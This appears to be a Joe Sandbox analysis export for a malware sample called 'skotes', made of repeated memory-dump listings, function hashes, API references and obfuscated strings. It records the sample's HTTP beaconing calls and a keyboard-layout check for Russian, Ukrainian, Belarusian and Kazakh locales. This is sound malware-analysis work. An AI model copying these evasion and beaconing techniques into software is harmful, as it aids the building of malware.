Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: a513b8e405c5d53e18dafede3a743651be45d334f54b478d2eb473c786a375bb
Instruction ID: 069444d9c9a2832ed8d2a31f6f9053a63d41410a2fc4bcae338395bff77a9c24
Opcode Fuzzy Hash: a513b8e405c5d53e18dafede3a743651be45d334f54b478d2eb473c786a375bb
Instruction Fuzzy Hash: C391B2B1A001189BDB28DF24CC85BEDB779FB45304F8045E9E91997282DB319BC88FA5

Function 00A6D3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00A524BE

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: a4da6fc32507d334d67608b61c07029566eb1e0b1c53aeb8fd73f8e824f7c483
Instruction ID: dff9239cb576abf6ca7dc5b3e539287ea35ec8141d119e6269d5354b871b241a
Opcode Fuzzy Hash: a4da6fc32507d334d67608b61c07029566eb1e0b1c53aeb8fd73f8e824f7c483
Instruction Fuzzy Hash: 1D51C072E006068FDB15CFA8D9857ADBBF1FB58394F24862AD405EB2A1D331AD41CB90

Function 053601BA Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2927266216.0000000005360000.00000040.00001000.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5360000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 862f6b66c0debe5f640a283f7b80de68e61f5b48fa44e0485e18c3607bf318e2
Instruction ID: edbbedaa167611d0cc527545fac45e65587513f581f6f14e6af599a8da687de1
Opcode Fuzzy Hash: 862f6b66c0debe5f640a283f7b80de68e61f5b48fa44e0485e18c3607bf318e2
Instruction Fuzzy Hash: 0C11C6FB10C1507DF20AC1517F69AFB276EE9D5730331C86FF846C580AD2985D4A5131

Function 00A63640 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00A6434F

Part of subcall function 00A67A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00A67AEC
Part of subcall function 00A67A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00A67AF8
Part of subcall function 00A67A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00A67B01

Strings

93E0, xrefs: 00A65600
", xrefs: 00A63F89
246122658369, xrefs: 00A61F95, 00A628DE, 00A62B33, 00A62BA0, 00A62F78, 00A63463, 00A634C4, 00A6502A, 00A6503D, 00A6507F, 00A65089, 00A65684
WGpm, xrefs: 00A63CC9
MGI+, xrefs: 00A648AD, 00A649DC, 00A64BCC, 00A64CFB
MGE+, xrefs: 00A64866, 00A648DD, 00A64B85, 00A64BFC
stoi argument out of range, xrefs: 00A62EF2, 00A64359, 00A64F9C
invalid stoi argument, xrefs: 00A62ED9, 00A62EE8, 00A6434A, 00A64F8D
aWW0, xrefs: 00A6555C
jS=, xrefs: 00A66513
KCWUOl==, xrefs: 00A65649
3I3eB==, xrefs: 00A64802
Hykl, xrefs: 00A6387F
2I0, xrefs: 00A65627
Vmc0, xrefs: 00A655D7
anE0, xrefs: 00A6566B
5120, xrefs: 00A63BAF, 00A63C9A
VXA0, xrefs: 00A655AE
GE0, xrefs: 00A65585
V2Te, xrefs: 00A63EB0
VXQ0, xrefs: 00A6550A
8WI0, xrefs: 00A65692
Fw==, xrefs: 00A6378E, 00A64E1D
WX f, xrefs: 00A63BDE
9HQ0, xrefs: 00A654E1
9c9aa5, xrefs: 00A65619
9250, xrefs: 00A654AD
WGS0, xrefs: 00A65533

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$"$246122658369$5120$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$Hykl$KCWUOl==$MGE+$MGI+$V2Te$VXA0$VXQ0$Vmc0$WGS0$WGpm$WX f$aWW0$anE0$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-385961153
Opcode ID: f7e36df7bf7ecdf15fe58b282ca26f1005a57b99c81fbf80637307a6b63e0375
Instruction ID: 8c514b68de7466fedf9563e3e394dee5b812aac7ddc99e7896e6e8a82ed86630
Opcode Fuzzy Hash: f7e36df7bf7ecdf15fe58b282ca26f1005a57b99c81fbf80637307a6b63e0375
Instruction Fuzzy Hash: AF520571A10248DBDF18EF78CD8A7DDBBB5AF45304F54468CE405A7382DB359B848BA2

Function 00A61EC0 Relevance: 36.1, APIs: 2, Strings: 18, Instructions: 1092COMMON

Download Yara Rule

APIs

Part of subcall function 00A67A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00A67AEC
Part of subcall function 00A67A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00A67AF8
Part of subcall function 00A67A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00A67B01

std::_Xinvalid_argument.LIBCPMT ref: 00A62EDE

Part of subcall function 00A6C199: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00A6C1A5

std::_Xinvalid_argument.LIBCPMT ref: 00A62EED

Strings

WTw=, xrefs: 00A61F78, 00A62B16, 00A62F5E
8HJUeIfzLo==, xrefs: 00A62FB7, 00A63226
8HJUeMD Lq5=, xrefs: 00A63054
WTs=, xrefs: 00A62B83, 00A63449
Hykl, xrefs: 00A6387F
", xrefs: 00A63F89
246122658369, xrefs: 00A61F95, 00A628DE, 00A62B33, 00A62BA0, 00A62F78, 00A63463, 00A634C4
5120, xrefs: 00A63BAF, 00A63C9A
WGpm, xrefs: 00A63CC9
., xrefs: 00A62BDA
V2Te, xrefs: 00A63EB0
WDw=, xrefs: 00A628C1, 00A634AA
nNo1LowMrFi, xrefs: 00A6298A
Fw==, xrefs: 00A6378E
WX f, xrefs: 00A63BDE
stoi argument out of range, xrefs: 00A62EF2, 00A64359
Ljg0, xrefs: 00A62136, 00A62228
invalid stoi argument, xrefs: 00A62ED9, 00A62EE8, 00A6434A

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situstd::invalid_argument::invalid_argument
String ID: nNo1LowMrFi$"$.$246122658369$5120$8HJUeIfzLo==$8HJUeMD Lq5=$Fw==$Hykl$Ljg0$V2Te$WDw=$WGpm$WTs=$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 2897603145-123131290
Opcode ID: 1e52f017aee5342645d9ea936f3727c306061e9fd8d9e973655f8b783177c178
Instruction ID: 0f57adbb9337e31de82b76a049e5e38eb20c1b76f01d1f99104a7dbf3ae46242
Opcode Fuzzy Hash: 1e52f017aee5342645d9ea936f3727c306061e9fd8d9e973655f8b783177c178
Instruction Fuzzy Hash: CE923670A102489FEF28EF38CD4A7DD7B75AF46304F5085D8E84967282DB359BC48B92

Function 00A647B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

APIs

Part of subcall function 00A67A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00A67AEC
Part of subcall function 00A67A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00A67AF8
Part of subcall function 00A67A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00A67B01

Part of subcall function 00A5BE30: Sleep.KERNEL32(000005DC), ref: 00A5BEB8
Part of subcall function 00A5BE30: InternetOpenW.WININET(00AA8DC8,00000000,00000000,00000000,00000000), ref: 00A5BEC7
Part of subcall function 00A5BE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00A5BEEB
Part of subcall function 00A5BE30: HttpOpenRequestA.WININET(?,00000000), ref: 00A5BF35

std::_Xinvalid_argument.LIBCPMT ref: 00A64F92

Strings

3I3eB==, xrefs: 00A64802
93E0, xrefs: 00A65600
2I0, xrefs: 00A65627
Vmc0, xrefs: 00A655D7
246122658369, xrefs: 00A6502A, 00A6503D, 00A6507F, 00A65089, 00A65684
anE0, xrefs: 00A6566B
VXA0, xrefs: 00A655AE
GE0, xrefs: 00A65585
VXQ0, xrefs: 00A6550A
8WI0, xrefs: 00A65692
MGI+, xrefs: 00A648AD, 00A649DC, 00A64BCC, 00A64CFB
Fw==, xrefs: 00A6378E, 00A64E1D
MGE+, xrefs: 00A64866, 00A648DD, 00A64B85, 00A64BFC
9HQ0, xrefs: 00A654E1
stoi argument out of range, xrefs: 00A64359, 00A64F9C
9c9aa5, xrefs: 00A65619
9250, xrefs: 00A654AD
aWW0, xrefs: 00A6555C
jS=, xrefs: 00A66513, 00A667E2
WGS0, xrefs: 00A65533
KCWUOl==, xrefs: 00A65649

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleepXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 4201286991-1982281295
Opcode ID: 39f6f51ac3fed183abbb4877e0a4049d7fb526e5a05a6add4c446913fc66c2f0
Instruction ID: 150328076134287e4b822927187e967e93492887f73846d805f878d72b51222b
Opcode Fuzzy Hash: 39f6f51ac3fed183abbb4877e0a4049d7fb526e5a05a6add4c446913fc66c2f0
Instruction Fuzzy Hash: 9A232371E102588BEB19DB28CE8979DBB76AF81304F5482D8E049AB2D2DB355FC4CF51

Function 00A62F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WTw=, xrefs: 00A62F5E
Fw==, xrefs: 00A6378E
Hykl, xrefs: 00A6387F
WX f, xrefs: 00A63BDE
", xrefs: 00A63F89
246122658369, xrefs: 00A62F78
5120, xrefs: 00A63BAF, 00A63C9A
stoi argument out of range, xrefs: 00A64359
invalid stoi argument, xrefs: 00A6434A
WGpm, xrefs: 00A63CC9
V2Te, xrefs: 00A63EB0

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: 9c1a9201d4784e6e59069d6c1c5587d8e578b333c5e06f50c61be8d759d10609
Instruction ID: 051cf155a5c6dc186ce49c2989d0e3d205231f03ca4b719d2631a324777a60b3
Opcode Fuzzy Hash: 9c1a9201d4784e6e59069d6c1c5587d8e578b333c5e06f50c61be8d759d10609
Instruction Fuzzy Hash: 1A722571A102889BDF18EF78CD4A7DEBBB5AF45304F50468CE405A73C2DB359B848B92

Function 00A55EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00A55F13

Strings

00000423, xrefs: 00A560FA
00000422, xrefs: 00A560C9
0000043f, xrefs: 00A5612B
Keyboard Layout\Preload, xrefs: 00A56054
00000419, xrefs: 00A56098

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: 41bfe1af72e3b683d882c861a9ac9f0cf817e68399614cc0dea2d6cd0de16211
Instruction ID: 572371681ad3c8ef7a88294539721a5782fda11d78550e3216cadeb8402a0182
Opcode Fuzzy Hash: 41bfe1af72e3b683d882c861a9ac9f0cf817e68399614cc0dea2d6cd0de16211
Instruction Fuzzy Hash: A3D1D071900158ABEB24DF24CD88BDEB7B9BF04340F5042D8F908E7291DB749BA88F95

Function 00A57D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00A57ED3

Strings

JjsrPl==, xrefs: 00A5828A
JjssOl==, xrefs: 00A5813A
JjsrQV==, xrefs: 00A58092
JjssPV==, xrefs: 00A581E2

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: dc7f94ca17d5dd1d6c1ea8785f87bba5912e3a3eac4d9bee41f469c8ca0638e6
Instruction ID: 0e2663f011389412da5b25aca6f26e342026eb605917759ac800a28529f10f33
Opcode Fuzzy Hash: dc7f94ca17d5dd1d6c1ea8785f87bba5912e3a3eac4d9bee41f469c8ca0638e6
Instruction Fuzzy Hash: 6DE10371E10244ABDB14FB68CD1B3AE7B71BB41724F94069CE8156B3D2DB345E898BC2

Function 00A58380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00A58524

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 40ad8051d42924b3560eb573c02bc5bdb3d8e217d2b033ff9d8c1ed69480e773
Instruction ID: 0739fccec6df535c709b954586e7fca97f06e39c55e1c811754f7d8c23638371
Opcode Fuzzy Hash: 40ad8051d42924b3560eb573c02bc5bdb3d8e217d2b033ff9d8c1ed69480e773
Instruction Fuzzy Hash: 05512470D102489BDB24EB68CD497EEB775FB45311F5042A8EC15B72D2EF389E888B91

Function 00A8B04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,FB4F8C33,?,?,00A6D3FC,FB4F8C33,?,00A67A8B,?,?,?,?,?,?,00A57465,?), ref: 00A8B07E

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: be92e634350103ab9cf485c0d1963623baab7764afb880aaa1c2ed9023abcab7
Instruction ID: 65fdad13540306ca6addb4579ee958f327c71dc4f0111bf4a25a54dc2cd600e8
Opcode Fuzzy Hash: be92e634350103ab9cf485c0d1963623baab7764afb880aaa1c2ed9023abcab7
Instruction Fuzzy Hash: C6E0923556122696EB3137B58D41BAFB668DF423B1F191220ED24965E1EF21DC0083F4

Function 00A66C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00A66CF5

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
